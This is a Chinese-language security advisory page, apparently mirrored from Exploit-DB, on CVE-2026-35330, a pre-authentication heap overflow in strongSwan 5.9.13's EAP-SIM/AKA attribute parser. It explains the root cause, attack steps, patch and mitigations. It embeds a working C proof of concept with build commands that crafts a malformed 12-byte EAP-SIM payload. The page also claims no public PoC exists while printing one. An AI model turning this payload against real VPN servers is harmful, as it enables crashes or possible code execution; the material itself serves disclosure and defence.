[remote] strongSwan 5.9.13 - libsimaka EAP-SIM/AKA heap buffer overflow

CVE-2026-35330:strongSwan 5.9.13及更早版本libsimaka模块解析EAP-SIM/AKA属性时存在整数下溢导致的堆缓冲区溢出,攻击者可在IKE_AUTH阶段触发,导致拒绝服务或潜在远程代码执行。修复方案:升级至master分支commit aa5aaebc33。

CVE-2026-35330

strongSwan 5.9.13 libsimaka模块解析EAP-SIM/AKA属性时,因对hdr->length字段未校验为零,导致整数下溢引发堆缓冲区溢出。

Critical · CVSS 9.8

📋 漏洞基础信息

CVECVE-2026-35330
漏洞类型堆缓冲区溢出
受影响版本strongSwan <= 5.9.13 (eap-sim或eap-aka插件启用)
危害等级Critical · CVSS 9.8
发布日期2026-05-29
来源Exploit-DB 原文 ↗

🔬 漏洞根因

parse_attributes()在src/libsimaka/simaka_message.c中计算属性数据长度为`hdr->length * 4 - 4`,但未校验`hdr->length == 0`。当length为0时,长度计算得到-4,转换为无符号整数(size_t)0xFFFFFFFFFFFFFFFC,导致后续malloc分配极小内存(12字节)而memcpy写入巨量数据,触发堆溢出。此漏洞发生在用户认证前的IKE_AUTH阶段,无需认证。

🎯 攻击场景

1. 攻击者构造包含长度为0的AT_RAND属性的EAP-SIM/AKA响应报文。2. 将报文发送至受害strongSwan服务器(IKE_AUTH阶段)。3. 服务器在parse_attributes()中计算数据长度为-4,下溢为超大值。4. add_attribute()分配极小的内存块(16+size_t最大值导致实际仅12字节)。5. memcpy试图拷贝巨量数据至该内存块,造成堆缓冲区溢出。6. 在启用ASan时检测为堆溢出,在glibc环境下通常触发SIGSEGV。

💥 漏洞影响

未经身份验证的远程攻击者可在IKE_AUTH阶段发送特制EAP-SIM/AKA报文,触发堆缓冲区溢出,导致服务崩溃(DoS)或可能执行任意代码。

⚔️ 原始 PoC

PoC构建一个12字节的EAP-SIM响应报文:8字节EAP头部(响应、ID 0x42、长度12、类型SIM、子类型CHALLENGE、保留字段),后跟4字节AT_RAND属性(类型1、长度0、保留字段)。长度0的字段触发parse_attributes()中的整数下溢漏洞。程序调用simaka_message_create_from_payload()解析报文,随后调用msg->parse()进入漏洞函数,触发堆缓冲区溢出。

* Exploit Title: strongSwan 5.9.13 -  heap buffer overflow
 * Date: 2026-05-13
 * Exploit Author: Lukas Johannes Moeller
 * Vendor Homepage: https://www.strongswan.org/
 * Software Link: https://download.strongswan.org/strongswan-5.9.13.tar.bz2
 * Version: strongSwan <= 5.9.13 (eap-sim or eap-aka plugin built)
 * Tested on: Debian 12 bookworm,
libsimaka.so.0.0.0 + libstrongswan.so.0.0.0
 *            from upstream strongswan-5.9.13 tarball (no distro patches).
 * CVE: CVE-2026-35330
 * References:
 *   https://github.com/strongswan/strongswan/commit/aa5aaebc33
 *   https://nvd.nist.gov/vuln/detail/CVE-2026-35330
 *   https://github.com/JohannesLks/CVE-2026-35330
 *
 * Description:
 *   parse_attributes() in src/libsimaka/simaka_message.c computes
 *   attribute data length as `hdr->length * 4 - 4` without guarding
 *   against `hdr->length == 0`. For length == 0 the validation
 *   `hdr->length * 4 >
in.len` evaluates `0 >in.len` (false on any
 *   non-empty input),so the check passes. The chunk length then
 *   underflows to (size_t)0xFFFFFFFFFFFFFFFC and is passed to
 *   add_attribute(),which performs `malloc(sizeof(attr_t) + data.len)`
 *   ->`malloc(16 + 0xFFFFFFFFFFFFFFFC)` ->a 12-byte allocation,
*   followed by an oversized memcpy. Under ASan this is a clean
 *   heap-buffer-overflow WRITE;
under glibc it is an immediate
 *   SIGSEGV inside production code as soon as memcpy walks off the
 *   end of the 12-byte chunk into unmapped memory.
 *
 *   The bug is pre-auth: an EAP-SIM/AKA payload reaches
 *   parse_attributes() inside IKE_AUTH before any peer authentication
 *   has completed.
 *
 * Build:
 *   gcc -fsanitize=address -g -O0 \
 *       -I/path/to/strongswan-5.9.13/src/libsimaka \
 *       -I/path/to/strongswan-5.9.13/src/libstrongswan \
 *       -include /path/to/strongswan-5.9.13/config.h \
 *       strongswan-5.9.13-libsimaka-eap-sim-aka-overflow.c \
 *       -L/usr/lib/ipsec -Wl,-rpath,/usr/lib/ipsec \
 *       -lsimaka -lstrongswan -o sim-aka-oob
 *
 *   (The /usr/lib/ipsec rpath points the loader at the installed
 *   strongSwan libraries. Headers come from the source tree because
 *   simaka_message.h is not installed system-wide.)
 *
 * Run:
 *   ./sim-aka-oob
 *
 * Expected output on a vulnerable strongSwan (<= 5.9.13):
 *   AddressSanitizer: heap-buffer-overflow ... WRITE of size 8
 *   #0 ... in __asan_memcpy
 *   #1 ... in parse_attributes ... simaka_message.c
 *   #2 ... in parse ... simaka_message.c
 *   #3 ... in main ... this file
 *
 * Without ASan you should see a SIGSEGV;
on a patched strongSwan
 * (master >= aa5aaebc33) parse() returns FALSE and the program
 * prints "parse() returned FALSE (patched)".
 *
 * Disclaimer:
 *   For authorized testing and defensive research only. Do not use
 *   against systems you do not own or have explicit permission to
 *   test.
 */

#include <stdio.h>#include <stdlib.h>#include <string.h>
#include <stdint.h>#include <arpa/inet.h>#include <library.h>#include <utils/chunk.h>#include <simaka_message.h>
/* EAP codes (RFC 3748) */
#define EAP_REQUEST  1
#define EAP_RESPONSE 2

/* EAP types */
#define EAP_TYPE_SIM 18

/* EAP-SIM subtypes (RFC 4186) */
#define SIM_CHALLENGE 11

/* EAP-SIM/AKA attribute types (RFC 4186 / RFC 4187) */
#define AT_RAND 1


int main(void)
{chunk_t data;simaka_message_t *msg;uint8_t payload[12];if (!library_init(NULL,"exploit-35330")) {fprintf(stderr,
"[!] library_init() failed\n");library_deinit();return 1;}
/*
     * EAP-SIM header (8 bytes):
     *   byte 0: code      = 2  (EAP_RESPONSE)
     *   byte 1: id        = 0x42
     *   bytes 2-3: length = htons(12)
     *   byte 4: type      = 18 (EAP-SIM)
     *   byte 5: subtype   = 11 (SIM_CHALLENGE)
     *   bytes 6-7: reserved
     *
     * AT_RAND attribute header (4 bytes):
     *   byte 8: type      = 1 (AT_RAND)
     *   byte 9: length    = 0   <-- triggers underflow:
     *                                hdr->length * 4 - 4 = -4 ->
SIZE_MAX-3
     *   bytes 10-11: reserved
     */
    payload[0] = EAP_RESPONSE;payload[1] = 0x42;payload[2] = 0x00;payload[3] = 12;payload[4] = EAP_TYPE_SIM;payload[5] = SIM_CHALLENGE;payload[6] = 0x00;payload[7] = 0x00;payload[8]  = AT_RAND;payload[9]  = 0;/* the bug */
    payload[10] = 0x00;payload[11] = 0x00;data = chunk_create(payload,sizeof(payload));printf("[*] payload (%zu bytes): ",
data.len);for (size_t i = 0;i <data.len;i++) {printf("%02x ",payload[i]);}printf("\n[*] EAP-SIM header:  code=RESPONSE id=0x42 len=12 type=SIM subtype=CHALLENGE\n");printf("[*] AT_RAND header:  type=1 length=0  <-- triggers underflow\n\n");msg = simaka_message_create_from_payload(data,NULL);if (!msg) {fprintf(stderr,
"[!] simaka_message_create_from_payload() returned NULL"
                        " -- header rejected\n");library_deinit();return 2;}printf("[*] simaka_message_create_from_payload() ->%p\n",(void*)msg);printf("[*] calling msg->parse(msg) --"
           " expecting heap-buffer-overflow inside parse_attributes()...\n");fflush(stdout);if (msg->parse(msg)) {
printf("[?] parse() returned TRUE -- unexpected\n");}else {printf("[+] parse() returned FALSE (patched) -- attribute rejected\n");}msg->destroy(msg);library_deinit();return 0;}

🔬 深度技术分析

PoC构建一个12字节的EAP-SIM响应报文:8字节EAP头部(响应、ID 0x42、长度12、类型SIM、子类型CHALLENGE、保留字段),后跟4字节AT_RAND属性(类型1、长度0、保留字段)。长度0的字段触发parse_attributes()中的整数下溢漏洞。程序调用simaka_message_create_from_payload()解析报文,随后调用msg->parse()进入漏洞函数,触发堆缓冲区溢出。

🛡️ 修复建议

升级至strongSwan master分支commit aa5aaebc33之后的版本。临时缓解措施:禁用eap-sim和eap-aka插件(在strongswan.conf中注释或删除相关加载项),或配置防火墙仅允许可信源访问VPN端口。

📎 参考链接

🚨 威胁评估

📈 EPSS 利用概率暂无数据
🚨 CISA KEV未被已知利用
🔧 公开 PoC暂无公开 PoC

⚠️ 本文基于公开漏洞数据库,仅供安全研究与防御参考。生成时间: 2026-06-01 08:08 | 来源: Exploit-DB

🤖 常见问题解答(FAQ)

❓ 漏洞触发是否需要认证?

不需要,该漏洞在IKE_AUTH阶段、用户认证之前即可触发,属于预认证漏洞。

❓ 漏洞根本原因是什么?

parse_attributes()中hdr->length乘以4再减4时,未校验length为0的情况,导致整数下溢为极大值。

❓ 如何确认strongSwan已修复?

升级至commit aa5aaebc33之后的版本,或运行PoC程序,若parse()返回FALSE则已修复。

[!] CONTACT_CHANNELS

如需商务合作、技术咨询或漏洞反馈,请通过以下离岸节点联系作者。

> PING_AUTHOR (@A1RedTeam)